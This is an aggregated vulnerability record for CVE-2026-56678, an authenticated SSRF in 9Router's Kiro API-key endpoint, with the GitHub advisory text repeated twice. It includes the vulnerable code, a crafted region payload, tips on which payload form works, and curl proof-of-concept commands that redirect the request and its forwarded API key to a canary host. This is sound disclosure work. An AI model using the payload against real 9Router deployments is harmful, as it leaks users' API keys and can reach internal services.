CVE-2026-56678
9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.4
9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
- Record
CVE-2026-56678- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-44813
6.4
9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
- Record
EUVD-2026-44813- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6mwv-4mrm-5p3m
6.4
9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
Summary
The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
region value. By supplying a crafted region such as kiro-canary.local:8443#, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed codewhisperer.<region> hostname. The
request forwards the submitted Kiro API key as an Authorization: Bearer header.
Details
- Affected version / commit: 9router v0.5.2 @
5da508a. - Endpoint:
POST /api/oauth/kiro/api-key. - Correct runtime payload:
region: "kiro-canary.local:8443#". - Do not use the old
@host#payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undicifetch()because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials"). - Constructed upstream host becomes:
codewhisperer.kiro-canary.local:8443(the#turns the trailing.amazonaws.cominto a URL fragment). - HTTPS canary captured:
Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. - TLS verification was not globally disabled; the reproduction uses a local CA via
NODE_EXTRA_CA_CERTS. - The no-auth control returns 401, so this standalone issue is authenticated.
SameSite=Laxon the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.
Root cause. The route reads region straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
There is no allowlist on region, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves
to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.
PoC
Start the package:
docker compose up --build
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
Then send the region-injection request with that session cookie:
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected:
- 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.
docker compose logs kiro-canaryshows a request with:Host: codewhisperer.kiro-canary.local:8443Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO
No-auth control (no session cookie): …
- Record
GHSA-6mwv-4mrm-5p3m- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
NVD
6.4
9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
- Record
CVE-2026-56678- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
OSV
6.4
9Router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
9Router is an AI router & token saver. Prior to 0.5.6, the Kiro API-key validation endpoint POST /api/oauth/kiro/api-key builds an upstream URL using a user-controlled region value, allowing an authenticated attacker to supply a crafted region such as kiro-canary.local:8443# and cause 9Router to send the Kiro validation request to an attacker-controlled host while forwarding the submitted Kiro API key as an Authorization header. This issue is fixed in version 0.5.6.
- Record
CVE-2026-56678- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
OSVGHSA-6mwv-4mrm-5p3m
6.4
9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
Summary
The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
region value. By supplying a crafted region such as kiro-canary.local:8443#, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed codewhisperer.<region> hostname. The
request forwards the submitted Kiro API key as an Authorization: Bearer header.
Details
- Affected version / commit: 9router v0.5.2 @
5da508a. - Endpoint:
POST /api/oauth/kiro/api-key. - Correct runtime payload:
region: "kiro-canary.local:8443#". - Do not use the old
@host#payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undicifetch()because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials"). - Constructed upstream host becomes:
codewhisperer.kiro-canary.local:8443(the#turns the trailing.amazonaws.cominto a URL fragment). - HTTPS canary captured:
Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. - TLS verification was not globally disabled; the reproduction uses a local CA via
NODE_EXTRA_CA_CERTS. - The no-auth control returns 401, so this standalone issue is authenticated.
SameSite=Laxon the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.
Root cause. The route reads region straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
There is no allowlist on region, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves
to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.
PoC
Start the package:
docker compose up --build
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
Then send the region-injection request with that session cookie:
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected:
- 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.
docker compose logs kiro-canaryshows a request with:Host: codewhisperer.kiro-canary.local:8443Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO
No-auth control (no session cookie): …
- Record
GHSA-6mwv-4mrm-5p3m- CVSS 3.1
- 6.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56678 is a medium vulnerability (CVSS 6.4) in Decolua 9router, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in 9router 0.5.6.
References
github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m
github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f
github.com/decolua/9router/releases/tag/v0.5.6
nvd.nist.gov/vuln/detail/CVE-2026-56678
github.com/advisories/GHSA-6mwv-4mrm-5p3m
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56678.json
github.com/decolua/9router
Left out here: the rest of 2 source descriptions. The JSON record has them.